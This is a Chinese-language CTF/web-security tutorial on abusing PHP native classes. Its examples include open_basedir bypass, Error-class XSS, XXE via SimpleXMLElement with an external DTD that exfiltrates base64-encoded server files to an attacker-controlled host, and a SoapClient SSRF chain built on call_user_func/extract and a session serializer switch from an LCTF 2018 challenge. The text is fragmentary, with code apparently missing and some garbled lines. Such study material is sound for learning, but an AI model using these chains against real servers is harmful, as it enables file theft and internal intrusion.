一、什么是原生类



二、什么情况下需要原生类

三、目录文件读取类
Directorylterator


Filesystem

GlobIterator

遍历目录类 | 绕过open_basedir

文件读取类 | SpIFileObject

不能用遍历可以用伪协议



练习



四、报错类
Error


报错类 | XSS利用



绕过哈希比较

五、原生类
反射类



练习


六、压缩类




运行后就可以看到shell.php 被删除了
练习



七、SimpleXMLElement


练习


evil.xml:定义了外部实体引用,通过http://xxx.xxx.xxx.send.dtd加载远程DTD文件。
send.dtd:定义了实体%file读取服务器文件(如function.php)并Base64编码,然后通过实体%all和%send将数据外带到攻击者的HTTP服务器(http://xxx.xxx.xxx.xx:1234/)。

module=SimpleXMLElement:指定实例化PHP内置的 SimpleXMLElement类。
args[]=http://xxx.xxx.xxx.xxx/evil.xml:这是传递给类构造函数的 第一个参数($data)。它告诉 SimpleXMLElement从一个 远程URL 加载XML数据。这个URL指向攻击者控制的VPS上的 evil.xml文件。
args[]=2:这是 第二个参数($options)。值 2对应 LIBXML_NOENT常量,该选项会启用外部实体替换,这是XXE攻击能够成功的关键。
args[]=true:这是 第三个参数($data_is_url)。设为 true表示第一个参数 ($data) 是一个XML文件的URL,而不是直接的XML字符串。
受害者服务器(靶场):当访问上述链接时,show.php会实例化 SimpleXMLElement类。
类加载远程XML:由于 $data_is_url为 true,该类会向 http://xxx.xxx.xxx.xxx/evil.xml发起HTTP请求,获取恶意XML内容。
攻击者VPS(evil.xml):evil.xml文件中包含了恶意的 DTD(文档类型定义)。这个DTD通常会做两件事:
定义一个外部实体,通过 php://filter等伪协议去读取服务器本地的敏感文件(如 function.php、index.php等),并进行Base64编码。
定义另一个外部实体,将读取到的文件内容通过一个HTTP请求发送到攻击者VPS的另一个监听端口。
解析与数据外带:SimpleXMLElement在解析 evil.xml时,因为启用了 LIBXML_NOENT,会执行DTD中定义的这些操作。
八、SoapClient 类



通过换行符构造了一个post 将原本的header信息挤进了body里面


练习

先拆解 index.php关键代码的作用:
b = 'implode' 将字符串 'implode' 赋值给变量 b
call_user_func(_GET\['f'\], _POST); 核心漏洞点
call_user_func用于"调用由第一个参数指定的函数,第二个参数是传递给该函数的数组型参数"。因此,攻击者可通过 GET的 f 参数指定任意函数,通过 POST传递函数参数,实现任意函数调用。
if(isset($_GET['name'])){ $_SESSION['name'] = $_GET['name']; }:若 GET传 name,则将其值存入会话 $_SESSION['name']。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');:reset($_SESSION)
取会话数组的第一个元素值,因此 $a是 [会话第一个元素值, 'welcome_to_the_lctf2018']。
call_user_func(b, a); 因 b=′implode′,等价于implode(b = 'implode',等价于 implode(b=′implode′,等价于implode(a) 将 $a数组用空字符串拼接成一个新字符串。
所以这段代码的含义就是通过 call_user_func 将传入的 f 当成函数来执行post里面里的参数,如果有给name传入参数就将传入的name存到session里面,而flag.php 如果本地访问就将flag存入session


在 index.php 代码中,call_user_func(_GET\['f'\], _POST);允许调用任意函数。通过传入 f=extract,然后 POST数据中包含 b=call_user_func,就能覆盖 $b变量。
$b = 'implode';
请求触发覆盖:
发送 GET请求:index.php?f=extract
发送 POST数据:b=call_user_func
这会导致执行:
call_user_func('extract', $_POST);
相当于:
extract($_POST);
extract(_POST)会将 _POST数组中的键值对转换为当前作用域中的变量。例如 _POST\['b'\] = 'call_user_func'会使 b被赋值为 'call_user_func',从而覆盖原来的 $b = 'implode'。
覆盖后,代码最后的 call_user_func(b, a);变为:
call_user_func('call_user_func', $a);
这实际上是调用 call_user_func函数,并将 a 作为参数传递。而 a 是一个数组,其第一个元素是 reset($_SESSION)(是我们精心构造的 SoapClient对象),第二个元素是字符串 'welcome_to_the_lctf2018'。
因此,最终执行的是:
call_user_func(reset($_SESSION), 'welcome_to_the_lctf2018');
这就会尝试调用 SoapClient对象的 welcome_to_the_lctf2018方法(不存在),从而触发 __call魔术方法,发起 SSRF 请求。
这段代码给session_start函数传入
data = {'serialize_handler': 'php_serialize'}
通过这个 POST 请求,服务器端的 session_start()会使用 php_serialize处理器来处理会话数据,从而保证后续插入的 SoapClient 序列化字符串能被正确解析

构造利用的必要性:
我们需要在 $_SESSION中存入一个包含 SoapClient对象的数组:[SoapClient对象, '方法名'],这样 reset($_SESSION)才能返回这个数组。
只有 php_serialize能正确存储这种结构,保证后续读取时 SoapClient对象被正确恢复(触发 __call)。